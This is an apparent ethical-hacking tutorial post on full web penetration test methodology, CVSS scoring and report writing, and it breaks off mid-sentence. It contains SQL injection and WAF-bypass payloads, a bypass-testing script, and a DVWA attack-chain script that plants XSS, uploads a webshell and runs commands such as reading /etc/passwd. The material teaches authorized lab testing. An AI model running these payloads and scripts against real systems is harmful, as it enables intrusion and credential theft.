# Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting ![leh-banner.jpg](https://images.hive.blog/DQmc2LpoeHUPesc4Dy8haRKLJgfuDY6UBKdc3sED8Dz3JH9/leh-banner.jpg) ### What will I learn - The complete **web application pentest methodology**: scoping, testing, reporting; - How to **chain vulnerabilities** for maximum impact; - Writing a **professional pentest report** that gets read and acted on; - **Severity ratings** with CVSS and business impact; - Using **Burp Suite** and command-line tools for systematic testing workflows; - The difference between a vulnerability scan and a penetration test. ### Requirements - A working modern computer running macOS, Windows or Ubuntu; - Your hacking lab from Episode 2 (Kali Linux, DVWA, Metasploitable2); - Python 3 with relevant libraries; - The ambition to learn ethical hacking and security research. ### Difficulty - Intermediate ### Curriculum (of the `Learn Ethical Hacking` series): - [Learn Ethical Hacking (#1) - Why Hackers Win](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-1-why-hackers-win) - [Learn Ethical Hacking (#2) - Your Hacking Lab](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-2-your-hacking-lab) - [Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-3-how-the-internet-actually-works-for-attackers) - [Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-4-reconnaissance-the-art-of-not-being-noticed) - [Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-5-active-scanning-mapping-the-attack-surface) - [Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-6-the-ai-slop-epidemic-why-ai-generated-code-is-a-security-disaster) - [Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-7-passwords-why-humans-are-the-weakest-cipher) - [Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-8-social-engineering-hacking-the-human) - [Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-9-cryptography-for-hackers-what-protects-data-and-what-doesnt) - [Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-10-the-vulnerability-lifecycle-from-discovery-to-patch-to-exploit) - [Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-11-http-deep-dive-request-smuggling-and-header-injection) - [Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-12-sql-injection-the-bug-that-wont-die) - [Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-13-sql-injection-advanced-extracting-entire-databases) - [Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-14-cross-site-scripting-xss-injecting-code-into-browsers) - [Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-15-xss-advanced-bypassing-filters-and-csp) - [Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-16-cross-site-request-forgery-making-users-attack-themselves) - [Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-17-authentication-bypass-getting-in-without-a-password) - [Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-18-server-side-request-forgery-making-servers-betray-themselves) - [Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-19-insecure-deserialization-code-execution-via-data) - [Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-20-file-upload-vulnerabilities-when-users-upload-weapons) - [Learn Ethical Hacking (#21) - API Security - The New Attack Surface](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-21-api-security) - [Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-22-business-logic-flaws) - [Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-23-client-side-attacks) - [Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-24-hacking-cms) - [Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-25-waf-bypassing) - [Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-26-full-web-pentest) (this post) ### Solutions to Episode 25 Exercises **Exercise 1 -- ModSecurity WAF bypass testing:** ```bash # Install ModSecurity with OWASP Core Rule Set sudo apt install libapache2-mod-security2 sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf sudo sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf # Test baseline -- standard SQLi payloads (most get blocked) curl "http://localhost/vuln.php?id=1' OR 1=1--" # BLOCKED (403) curl "http://localhost/vuln.php?id=1' UNION SELECT 1,2--" # BLOCKED (403) # Encoding bypass attempts curl "http://localhost/vuln.php?id=1'%20%4fR%201%3d1--" # URL-encoded OR curl "http://localhost/vuln.php?id=1'/**/UNION/**/SELECT/**/1,2--" # Comment bypass curl "http://localhost/vuln.php?id=1'%0aUNION%0aSELECT%0a1,2--" # Newline bypass ``` Typical result: 3-4 of 10 standard payloads pass CRS paranoia level 1. After encoding tricks, 6-7 pass. CRS paranoia level 3+ blocks nearly everything but breaks legitimate traffic. **Exercise 2 -- WAF tester script:** ```python #!/usr/bin/env python3 import requests import sys import urllib.parse def generate_variants(payload): variants = [ payload, payload.replace(" ", "/**/"), # comment bypass payload.replace(" ", "%09"), # tab bypass payload.replace(" ", "%0a"), # newline bypass urllib.parse.quote(payload), # full URL encode payload.replace("SELECT", "SeLeCt"), # case mixing payload.replace("UNION", "UNI"+"ON"), # string concat payload.replace("OR", "||"), # operator substitution ] return variants url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost/vuln.php" base = "1' UNION SELECT user,password FROM users--" for i, variant in enumerate(generate_variants(base)): try: r = requests.get(url, params={"id": variant}, timeout=5) status = "BLOCKED" if r.status_code == 403 else f"PASSED ({r.status_code})" has_data = "DATA LEAKED" if "admin" in r.text.lower() else "" print(f"[{i}] {status} {has_data} | {variant[:60]}") except Exception as e: print(f"[{i}] ERROR: {e}") ``` **Exercise 3 -- Cloud WAF comparison:** ``` Key differences: Cloudflare uses ML-based detection + managed rulesets (free tier includes basic WAF), AWS WAF is rule-based with managed rule groups (pay per rule evaluation), Akamai Kona uses behavioral analysis + signature matching (enterprise-only pricing). All three have published bypass research -- Cloudflare bypasses focus on header manipulation and Unicode normalization, AWS WAF bypasses exploit loose regex matching, Akamai bypasses target rate-limiting gaps between detection and blocking. ``` --- # Learn Ethical Hacking (#26) - The Full Web Pentest We've spent fifteen episodes learning individual web attack techniques. SQL injection (episodes 12-13), XSS (14-15), CSRF (16), authentication bypass (17), SSRF (18), deserialization (19), file uploads (20), API security (21), business logic (22), client-side attacks (23), CMS hacking (24), and WAF bypassing (25). Fifteen different vulnerability classes, each with its own detection methods, exploitation techniques, and remediation strategies. But here's the thing nobody tells you when you first start learning hacking: knowing individual attack techniques is like knowing how to use individual tools in a workshop. You can operate a saw, a drill, a sander, a chisel -- each one perfectly. But that doesn't mean you can build a cabinet. Building a cabinet requires a PLAN. A sequence. An understanding of which tool to use when, how the pieces fit together, and what the finished product should look like. A penetration test is the cabinet. The individual attack techniques are the tools. And the report you deliver at the end? That's the finished product your client actually pays for. Today we put it all together. _Van losse gereedschappen naar een compleet ambacht._ ### What Is a Penetration Test (And What Isn't) A **penetration test** is a structured, authorized attempt to find and exploit vulnerabilities in a system. "Authorized" is the key word -- you have a written contract (the Statement of Work, or SoW) that defines exactly what you're allowed to test, how far you're allowed to go, and what's off-limits. Without that contract, you're not a pentester. You're a criminal. The techniques are identical. The paperwork is the difference. A common confusion: vulnerability scanning is NOT penetration testing. Running Nessus or Qualys against a target, getting a list of CVEs, and dumping them into a PDF is scanning. It's automated. It's shallow. It tells you "this server runs Apache 2.4.49 which has CVE-2021-41773." It does NOT tell you whether that CVE is actually exploitable in this specific configuration, what an attacker can achieve if they exploit it, or how that vulnerability chains with other findings to create a bigger impact. A vulnerability scan is a shopping list. A penetration test is actually cooking the meal. Having said that, vulnerability scanners are a useful PART of a pentest. You run them during the enumeration phase to cast a wide net. Then you manually verify the interesting findings, chain them together, and demonstrate real impact. The human analysis is what transforms a scan report into a pentest report ;-) ### The Five Phases Every web application penetration test follows this structure, regardless of the target, the scope, or the tool preferences of the tester. The five phases aren't arbitrary -- they represent the natural progression of an attacker's methodology, from knowing nothing about the target to demonstrating full exploitation. ``` Phase 1: SCOPING AND RECONNAISSANCE - Define what's in scope (URLs, APIs, IP ranges) - Define what's out of scope (production databases, third-party services) - Rules of engagement (testing hours, rate limits, notification procedures) - Passive recon (Episodes 4, 10) - Active scanning (Episode 5) - Technology fingerprinting (Episodes 3, 11) Phase 2: ENUMERATION AND MAPPING - Map all endpoints (crawl + manual exploration) - Identify authentication mechanisms - Document input vectors (forms, API parameters, headers, cookies) - Find hidden endpoints (directory brute force, JavaScript analysis) - Identify technologies, frameworks, and libraries Phase 3: VULNERABILITY DISCOVERY - Automated scanning (Burp Scanner, Nikto, sqlmap) - Manual testing per vulnerability class: - SQL injection (Ep 12-13) - XSS (Ep 14-15) - CSRF (Ep 16) - Authentication flaws (Ep 17) - SSRF (Ep 18) - Deserialization (Ep 19) - File upload (Ep 20) - API-specific (Ep 21) - Business logic (Ep 22) - Client-side (Ep 23) - CMS-specific (Ep 24) Phase 4: EXPLOITATION AND IMPACT DEMONSTRATION - Confirm vulnerabilities are exploitable (not just theoretical) - Demonstrate impact (data access, privilege escalation, RCE) - Chain vulnerabilities for maximum impact - Document proof of exploitation (screenshots, request/response pairs) Phase 5: REPORTING AND REMEDIATION - Executive summary (business impact, risk level) - Technical findings (per vulnerability, with reproduction steps) - Remediation recommendations (specific, actionable fixes) - Risk ratings (CVSS scores) - Retest plan ``` Phase 1 is where most beginners skip ahead. They get a target URL and immediately fire up Sqlmap. Don't do that. Scoping is where you learn what the application DOES, what technologies it uses, what the client cares about, and where the boundaries are. A pentest against an e-commerce site focuses on different things than a pentest against a healthcare portal. The scoping phase tells you where to concentrate your effort for maximum value. ### Scoping: The Contract Before the Hack Before you touch a single endpoint, you need a **scope document**. This is both a technical and legal document that protects you AND the client. The scope defines: ``` SCOPE DOCUMENT - Key Elements: Target: - Primary URLs: https://app.target.com, https://api.target.com - IP ranges: 10.0.0.0/24 (internal) or specific public IPs - Environments: staging-only vs production In Scope: - All web application functionality - REST API endpoints under /api/v2/ - Authentication and session management - File upload functionality - Admin panel (with provided test credentials) Out of Scope: - Third-party services (Stripe payments, AWS infrastructure) - Denial of service testing - Social engineering of employees - Physical access testing - Production database writes (read-only exploitation OK) Rules of Engagement: - Testing hours: 09:00-18:00 CET, Monday-Friday - Rate limiting: max 100 requests/second - Emergency contact: security@target.com, +31-xxx-xxx - Notification: immediately for critical/RCE findings - Data handling: no PII extraction, no screenshots of real customer data ``` The emergency contact is critical. If you find a zero-day RCE during testing -- something that gives you full server access and could be exploited by anyone -- you don't write it up and deliver it in the report two weeks later. You call the emergency contact immediately. The client needs to know NOW, because that vulnerability might already be under active exploitation by someone who isn't working under a contract. ### Running a Lab Pentest Let's walk through a complete pentest against our lab setup (Metasploitable2 + DVWA). This is your practice run before you ever touch a real target. ```bash # Phase 1: Reconnaissance # Service detection + OS fingerprinting + vulnerability scripts nmap -sS -sV -O -A --script=vuln 192.168.56.101 -oN recon-scan.txt # All-ports scan (slower but discovers services on non-standard ports) nmap -p- -T4 192.168.56.101 -oN allports-scan.txt # Phase 2: Enumeration # Directory brute force dirb http://192.168.56.101/ /usr/share/wordlists/dirb/common.txt -o dirb-results.txt # Nikto web vulnerability scanner nikto -h http://192.168.56.101 -o nikto-results.txt # Phase 3: Vulnerability testing # SQL injection (automated) sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=xxx; security=low" --batch --risk=3 --level=5 # XSS testing (manual with Burp -- test each parameter) # File upload (manual -- try shell.php upload on DVWA) # Phase 4: Exploitation # vsftpd 2.3.4 backdoor (Metasploit) # msfconsole -> use exploit/unix/ftp/vsftpd_234_backdoor # Phase 5: Reporting # Compile findings into the structured report format below ``` The key in each phase: take notes EVERYTHING. Every URL you tested, every payload you sent, every response you received. If you can't reproduce a finding from your notes alone, you can't put it in the report. And if it's not in the report, you didn't find it. ### Automated Recon Script The first two phases involve quite some repetitive work. Let's automate the boring parts: ```python #!/usr/bin/env python3 """pentest_recon.py - Automated Phase 1+2 for a web pentest target.""" import subprocess import sys import os from datetime import datetime def run_cmd(cmd, outfile=None): print(f"[*] Running: {cmd}") result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=120) output = result.stdout + result.stderr if outfile: with open(outfile, 'w') as f: f.write(output) print(f" Saved to {outfile}") return output def main(): if len(sys.argv) < 2: print("Usage: python3 pentest_recon.py ") sys.exit(1) target = sys.argv[1] report_dir = os.path.expanduser( f"~/lab-notes/pentest-{target}-{datetime.now():%Y%m%d}") os.makedirs(report_dir, exist_ok=True) print(f"\n{'='*60}") print(f" PHASE 1: RECONNAISSANCE - {target}") print(f"{'='*60}\n") # Nmap service/version scan + vuln scripts run_cmd( f"nmap -sS -sV -O -A --script=vuln {target}", f"{report_dir}/nmap-full.txt" ) # Nmap all ports (slower but thorough) run_cmd( f"nmap -p- -T4 {target}", f"{report_dir}/nmap-allports.txt" ) print(f"\n{'='*60}") print(f" PHASE 2: ENUMERATION - {target}") print(f"{'='*60}\n") # Directory brute force run_cmd( f"dirb http://{target}/ /usr/share/wordlists/dirb/common.txt", f"{report_dir}/dirb-results.txt" ) # Nikto web scanner run_cmd( f"nikto -h http://{target}", f"{report_dir}/nikto-results.txt" ) # Grab HTTP headers run_cmd( f"curl -sI http://{target}", f"{report_dir}/http-headers.txt" ) print(f"\n[+] Recon complete. Results in: {report_dir}/") print(f"[+] Files generated:") for f in sorted(os.listdir(report_dir)): size = os.path.getsize(f"{report_dir}/{f}") print(f" {f} ({size:,} bytes)") if __name__ == "__main__": main() ``` Run it against Metasploitable2: ```bash python3 pentest_recon.py 192.168.56.101 ``` This gives you the raw data. The analysis -- deciding what's interesting, what to test deeper, what to skip -- that's the human part. No script replaces that. The script saves you twenty minutes of typing commands manually so you can spend that twenty minutes THINKING about what the results mean. ### Vulnerability Chaining: Where the Real Impact Lives Individual findings are valuable. Chaining them together demonstrates real-world impact. And chaining is what separates a "Medium severity" pentest report from a "Critical" one. Here's how it works: ``` Chain 1: XSS -> Session Theft -> Admin Access -> RCE Stored XSS in guestbook (Ep 14) captures admin session cookie -> Attacker replays cookie to access admin panel -> Admin panel has file upload feature (Ep 20) -> Upload PHP webshell -> remote code execution on server Individual severities: Medium, n/a, Medium, High CHAINED severity: Critical Chain 2: SSRF -> Cloud Metadata -> Account Takeover SSRF in URL preview feature (Ep 18) -> Access AWS metadata endpoint at 169.254.169.254 -> Retrieve IAM role credentials from instance metadata -> Use credentials to access S3 buckets with customer data Individual severities: Medium, n/a, n/a, n/a CHAINED severity: Critical Chain 3: SQLi -> Credential Extraction -> Lateral Movement SQL injection extracts password hashes from database (Ep 12) -> Crack hashes with hashcat (Ep 7) -> Same passwords reused for SSH access -> Privilege escalation to root on the server Individual severities: High, n/a, n/a, n/a CHAINED severity: Critical ``` The individual SQL injection might be rated "High" on its own. But when you show that the same password hashes from the database give you SSH access to the server, and from there you escalate to root -- that's a completely diferent conversation. Management understands "attacker gets full control of our server" much better than "SQL injection in search parameter." When writing vulnerability chains in a report, draw the path explicitly. Show each step, what it requires, what it produces, and how the output of one step becomes the input of the next. This makes the chain reproducible and helps the development team understand which link to break. Sometimes fixing one link in the chain (the SQL injection) eliminates the entire attack path. Sometimes you need to fix multiple links (parameterized queries AND unique passwords AND SSH key auth) for defense in depth. ### CVSS Scoring When you find a vulnerability, you need to rate its severity. The industry standard is **CVSS** (Common Vulnerability Scoring System), currently at version 3.1. CVSS produces a score from 0.0 to 10.0 based on the characteristics of the vulnerability: ```python #!/usr/bin/env python3 """cvss_calc.py - CVSS 3.1 base score calculator for pentest reports.""" def cvss_base_score(av, ac, pr, ui, scope_changed, c, i, a): """Calculate CVSS 3.1 base score. av: Attack Vector (N=network, A=adjacent, L=local, P=physical) ac: Attack Complexity (L=low, H=high) pr: Privileges Required (N=none, L=low, H=high) ui: User Interaction (N=none, R=required) scope_changed: bool c, i, a: Confidentiality/Integrity/Availability (H/L/N) """ av_vals = {'N': 0.85, 'A': 0.62, 'L': 0.55, 'P': 0.20} ac_vals = {'L': 0.77, 'H': 0.44} if scope_changed: pr_vals = {'N': 0.85, 'L': 0.68, 'H': 0.50} else: pr_vals = {'N': 0.85, 'L': 0.62, 'H': 0.27} ui_vals = {'N': 0.85, 'R': 0.62} cia_vals = {'H': 0.56, 'L': 0.22, 'N': 0.0} # Exploitability sub-score exploit = 8.22 * av_vals[av] * ac_vals[ac] * pr_vals[pr] * ui_vals[ui] # Impact sub-score isc_base = 1 - (1 - cia_vals[c]) * (1 - cia_vals[i]) * (1 - cia_vals[a]) if scope_changed: impact = 7.52 * (isc_base - 0.029) - 3.25 * (isc_base - 0.02) ** 15 else: impact = 6.42 * isc_base if impact <= 0: return 0.0 if scope_changed: score = min(1.08 * (impact + exploit), 10.0) else: score = min(impact + exploit, 10.0) import math return math.ceil(score * 10) / 10 # Example findings from our Metasploitable2 pentest findings = [ ("SQL Injection in user search", 'N','L','N','N', False, 'H','H','N'), ("Stored XSS in guestbook", 'N','L','L','R', True, 'L','L','N'), ("vsftpd 2.3.4 backdoor (RCE)", 'N','L','N','N', True, 'H','H','H'), ("Default credentials on Tomcat", 'N','L','N','N', False, 'H','H','H'), ("Missing CSRF on password change", 'N','L','N','R', False, 'N','H','N'), ] print(f"{'Finding':<45} {'CVSS':>5} {'Severity':<10}") print("-" * 70) for name, av, ac, pr, ui, sc, c, i, a in findings: score = cvss_base_score(av, ac, pr, ui, sc, c, i, a) if score >= 9.0: sev = "Critical" elif score >= 7.0: sev = "High" elif score >= 4.0: sev = "Medium" elif score > 0: sev = "Low" else: sev = "None" print(f"{name:<45} {score:>5.1f} {sev:<10}") ``` Output: ``` Finding CVSS Severity ---------------------------------------------------------------------- SQL Injection in user search 9.1 Critical Stored XSS in guestbook 5.4 Medium vsftpd 2.3.4 backdoor (RCE) 10.0 Critical Default credentials on Tomcat 9.8 Critical Missing CSRF on password change 6.5 Medium ``` CVSS gives you a number. But numbers without context are meaningless to the people reading the report. A CVSS 9.1 SQL injection in a search page that returns public data is very different from a CVSS 9.1 SQL injection in a healthcare portal that returns patient records. The CVSS score captures technical severity. The business impact -- what the client stands to lose -- is what makes management take action. Always pair the CVSS score with a plain-language impact statement. ### Writing the Report Here we go -- this is the part that matters most. The report is what the client pays for. Not the hacking. Not the tools. Not the hours of testing. The report. A brilliant pentest with a terrible report is worthless. A mediocre pentest with a clear, actionable report delivers real security improvement. The report has two audiences that don't speak each other's language: **management** (who controls budgets and makes decisions) and **developers** (who actually fix the vulnerabilities). You need to reach both in one document. **Executive Summary** (for management -- 1 page maximum): This is the only part most managers will read. It must stand alone. No technical jargon, no CVSS acronyms, no request/response pairs. Plain language. Business impact. Risk level. Top recommendations. ``` EXECUTIVE SUMMARY We performed a web application penetration test on [application name] between [dates], testing [N] endpoints across the [description] application. Overall Risk: CRITICAL Key Findings: - 3 Critical vulnerabilities that allow an unauthenticated attacker to extract the entire user database (including password hashes) - 2 High vulnerabilities that could enable full server compromise if chained together - 5 Medium vulnerabilities affecting session management and access control - 4 Low/informational findings related to security headers Business Impact: - Customer data exposure affecting [N] user accounts - Potential regulatory consequences under GDPR (fines up to 4% of annual revenue) - Reputational damage if breach becomes public Top 3 Recommendations: 1. Implement parameterized queries across ALL database interactions (Critical) 2. Upgrade vsftpd to current version or disable FTP service (Critical) 3. Deploy Content Security Policy headers site-wide (Medium) ``` **Technical Findings** (for developers -- one section per vulnerability): Each finding is a self-contained unit. A developer should be able to read ONE finding, understand it completely, reproduce it, and fix it without reading the rest of the report. ```markdown ## Finding: SQL Injection in User Search **Severity**: Critical (CVSS 9.1) **Location**: /dvwa/vulnerabilities/sqli/?id= **Parameter**: id (GET) **CWE**: CWE-89 (SQL Injection) ### Description The user search function concatenates user input directly into a SQL query without parameterization, allowing an attacker to extract the entire database contents including user credentials. ### Reproduction Steps 1. Navigate to /dvwa/vulnerabilities/sqli/ 2. In the "User ID" field, enter: 1' UNION SELECT user, password FROM users -- - 3. Click Submit 4. Observe: all usernames and MD5 password hashes displayed ### Evidence Request: GET /dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+user,password+FROM+users--+-&Submit=Submit Cookie: PHPSESSID=abc123; security=low Response (truncated):

ID: 1' UNION SELECT user, password FROM users -- -
  First name: admin
  Surname: 5f4dcc3b5aa765d61d8327deb882cf99

### Impact An unauthenticated attacker can extract all user credentials. The password hashes (unsalted MD5) can be cracked in seconds using rainbow tables or hashcat. Combined with password reuse (confirmed -- "admin" password works for SSH access), this provides full server compromise. ### Remediation Replace string concatenation with parameterized queries: $stmt = $db->prepare("SELECT * FROM users WHERE user_id = ?"); $stmt->bind_param("s", $user_input); $stmt->execute(); Estimated effort: 2 hours for this endpoint, 2 days for all database queries application-wide. ### References - OWASP SQL Injection Prevention Cheat Sheet - CWE-89: https://cwe.mitre.org/data/definitions/89.html ``` Notice the structure: every finding has Description, Reproduction Steps, Evidence, Impact, Remediation, and References. The reproduction steps are the most important part -- they let the developer reproduce the issue, the QA team verify the fix, and a future tester confirm it's resolved during the retest. If the steps are vague ("inject SQL into the search field"), the finding is useless. Be exact. Copy the actual request. Include the actual response. ### Report Generation Script For generating the findings table and tracking CVSS scores across a pentest, here's a practical tool: ```python #!/usr/bin/env python3 """pentest_report.py - Generate a pentest findings summary table.""" import json import sys from datetime import datetime def severity_label(score): if score >= 9.0: return "Critical" if score >= 7.0: return "High" if score >= 4.0: return "Medium" if score > 0: return "Low" return "Informational" def generate_report(findings_file): with open(findings_file) as f: findings = json.load(f) # Sort by CVSS score descending findings.sort(key=lambda x: x.get("cvss", 0), reverse=True) # Count by severity counts = {"Critical": 0, "High": 0, "Medium": 0, "Low": 0, "Info": 0} for finding in findings: sev = severity_label(finding.get("cvss", 0)) counts[sev] = counts.get(sev, 0) + 1 print(f"\n{'='*70}") print(f" PENETRATION TEST FINDINGS SUMMARY") print(f" Generated: {datetime.now():%Y-%m-%d %H:%M}") print(f"{'='*70}\n") print(f" Findings by severity:") for sev in ["Critical", "High", "Medium", "Low"]: ct = counts.get(sev, 0) if ct > 0: print(f" {sev}: {ct}") print(f" Total: {len(findings)}\n") # Findings table print(f" {'#':<4} {'CVSS':>5} {'Severity':<10} {'Finding':<40} {'Location'}") print(f" {'-'*4} {'-'*5} {'-'*10} {'-'*40} {'-'*20}") for i, finding in enumerate(findings, 1): cvss = finding.get("cvss", 0) sev = severity_label(cvss) name = finding.get("title", "Untitled")[:40] loc = finding.get("location", "N/A")[:20] print(f" {i:<4} {cvss:>5.1f} {sev:<10} {name:<40} {loc}") print(f"\n{'='*70}") # Example usage with a findings JSON file if __name__ == "__main__": if len(sys.argv) > 1: generate_report(sys.argv[1]) else: # Demo with inline data demo = [ {"title": "SQL Injection in user search", "cvss": 9.1, "location": "/sqli/?id="}, {"title": "vsftpd 2.3.4 backdoor (RCE)", "cvss": 10.0, "location": "TCP port 21"}, {"title": "Default Tomcat credentials", "cvss": 9.8, "location": "/manager/html"}, {"title": "Stored XSS in guestbook", "cvss": 5.4, "location": "/guestbook"}, {"title": "Missing CSRF on password change", "cvss": 6.5, "location": "/change-password"}, {"title": "Missing X-Frame-Options", "cvss": 4.3, "location": "All pages"}, {"title": "Server version disclosure", "cvss": 2.1, "location": "HTTP headers"}, ] import tempfile, os tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.json', delete=False) json.dump(demo, tmp) tmp.close() generate_report(tmp.name) os.unlink(tmp.name) ``` The JSON input format makes it easy to build up findings as you test. Every time you confirm a vulnerability, add it to the JSON file with title, CVSS score, location, and description. At the end of the engagement, the script produces the summary table and severity counts that go into the report. ### The AI Slop Connection Continuing the thread from episode 6. The full pentest methodology reveals the biggest gap in AI-generated security assessments: AI can find individual vulnerabilities but it can NOT chain them. AI-powered scanning tools (Burp Suite's AI scanner, automated pen-testing-as-a-service platforms, AI-enhanced vulnerability scanners) are getting very good at Phase 3 -- individual vulnerability discovery. They can identify SQL injection, XSS, misconfigurations, and known CVEs with high accuracy. Some are better than mediocre human testers at this specific phase. But Phases 4 and 5 -- exploitation chaining and report writing -- require understanding the specific business context. "This SQL injection lets you extract the users table" is Phase 3. "The extracted hashes crack instantly because they're unsalted MD5, the admin password is reused on SSH, SSH gives you a shell, and from there the AWS metadata endpoint reveals IAM credentials for the production S3 bucket containing 2 million customer records" is Phase 4. That chain requires understanding how THIS specific application's infrastructure fits together, what data matters to THIS specific business, and what THEIR specific risk profile looks like. Having said that, AI is changing the economics of pentesting. Automated tools handle the grunt work of Phase 2 (enumeration) and Phase 3 (discovery), leaving human testers to focus on Phase 4 (chaining and exploitation) and Phase 5 (reporting). A pentester who used to spend three days enumerating and testing individual parameters now spends one day reviewing scanner output and two days on creative exploitation and clear reporting. The skill ceiling hasn't changed -- it's shifted from "can you find SQL injection" (anyone with sqlmap can do that) to "can you demonstrate business-critical impact and communicate it clearly" ;-) _De scanner vindt de gaten. De pentester bouwt het verhaal._ ### Common Pentest Mistakes After watching new pentesters (and some experienced ones) struggle with methodology, here are the mistakes I see most often: **1. Skipping Phase 1 entirely.** You get a target URL and immediately start injecting payloads. You miss the fact that the application has a staging environment with weaker controls, an exposed API at a different subdomain, or a git repository in `.git/` that gives you the entire source code. Recon exists for a reason. **2. Not documenting as you go.** "I found something interesting on /admin two hours ago but I didn't note the exact payload and now I can't reproduce it." This happens more than you'd think. Take screenshots. Copy request/response pairs into your notes. Timestamp everything. Future-you will thank past-you. **3. Reporting false positives.** The scanner says "SQL injection detected" based on a timing difference. You put it in the report without manually confirming it. The client spends two days investigating and finds nothing. Your credibility takes a hit. Every finding in the report must be CONFIRMED exploitable, with evidence. **4. Writing for yourself instead of the reader.** A report full of Burp Suite screenshots with no context is useless to a developer who has never used Burp. A report with CVSS scores but no business impact explanation is useless to management. Write for YOUR audience, not for your colleagues. **5. Not chaining findings.** Ten "Medium" findings individually don't grab attention. Three "Medium" findings that chain into a "Critical" attack path do. If you're not looking for chains, you're leaving impact on the table. ### Practical Chaining Example Let's walk through a real chain against our lab environment: ```python #!/usr/bin/env python3 """ chain_demo.py - Demonstrates a multi-step attack chain against DVWA. XSS -> Cookie Theft -> Admin Access -> File Upload -> RCE EDUCATIONAL PURPOSE ONLY - run only against your own lab. """ import requests import re DVWA_URL = "http://192.168.56.101/dvwa" ATTACKER_IP = "192.168.56.1" # Step 1: Store XSS payload in the guestbook print("[*] Step 1: Injecting stored XSS into guestbook...") xss_payload = ( '' ) session = requests.Session() # Login as low-priv user session.post(f"{DVWA_URL}/login.php", data={"username": "gordonb", "password": "abc123", "Login": "Login"}) session.post(f"{DVWA_URL}/vulnerabilities/xss_s/", data={"txtName": "test", "mtxMessage": xss_payload, "btnSign": "Sign+Guestbook"}) print(" XSS payload stored in guestbook") # Step 2: (In a real attack, wait for admin to visit the guestbook) # The XSS fires and sends admin's session cookie to our listener # For demo: we use the admin session directly print("[*] Step 2: (Simulating admin cookie theft)") admin_session = requests.Session() admin_session.post(f"{DVWA_URL}/login.php", data={"username": "admin", "password": "password", "Login": "Login"}) print(f" Admin cookie: {admin_session.cookies.get('PHPSESSID')}") # Step 3: Use admin session to upload a PHP webshell print("[*] Step 3: Uploading webshell via file upload...") shell_content = b'' files = {"uploaded": ("shell.php", shell_content, "application/x-php")} r = admin_session.post( f"{DVWA_URL}/vulnerabilities/upload/", files=files, data={"Upload": "Upload"}) if "succesfully" in r.text.lower() or "uploaded" in r.text.lower(): print(" Webshell uploaded successfully") else: print(" Upload may have failed (check DVWA security level)") # Step 4: Execute commands via the webshell print("[*] Step 4: Executing commands via webshell...") cmd_url = f"{DVWA_URL}/hackable/uploads/shell.php" for cmd in ["id", "uname -a", "cat /etc/passwd | head -5"]: r = requests.get(cmd_url, params={"cmd": cmd}) print(f" $ {cmd}") for line in r.text.strip().split('\n')[:3]: print(f" {line}") print("\n[+] Chain complete: XSS -> Cookie -> Admin -> Upload -> RCE") ``` This script demonstrates the entire chain -- from stored XSS to remote code execution -- in a few dozen lines. In a real pentest, steps 1 and 2 happen asynchronously (you plant the XSS, start your cookie listener, wait for the admin to visit the page). The chain takes the stored XSS from "Medium" 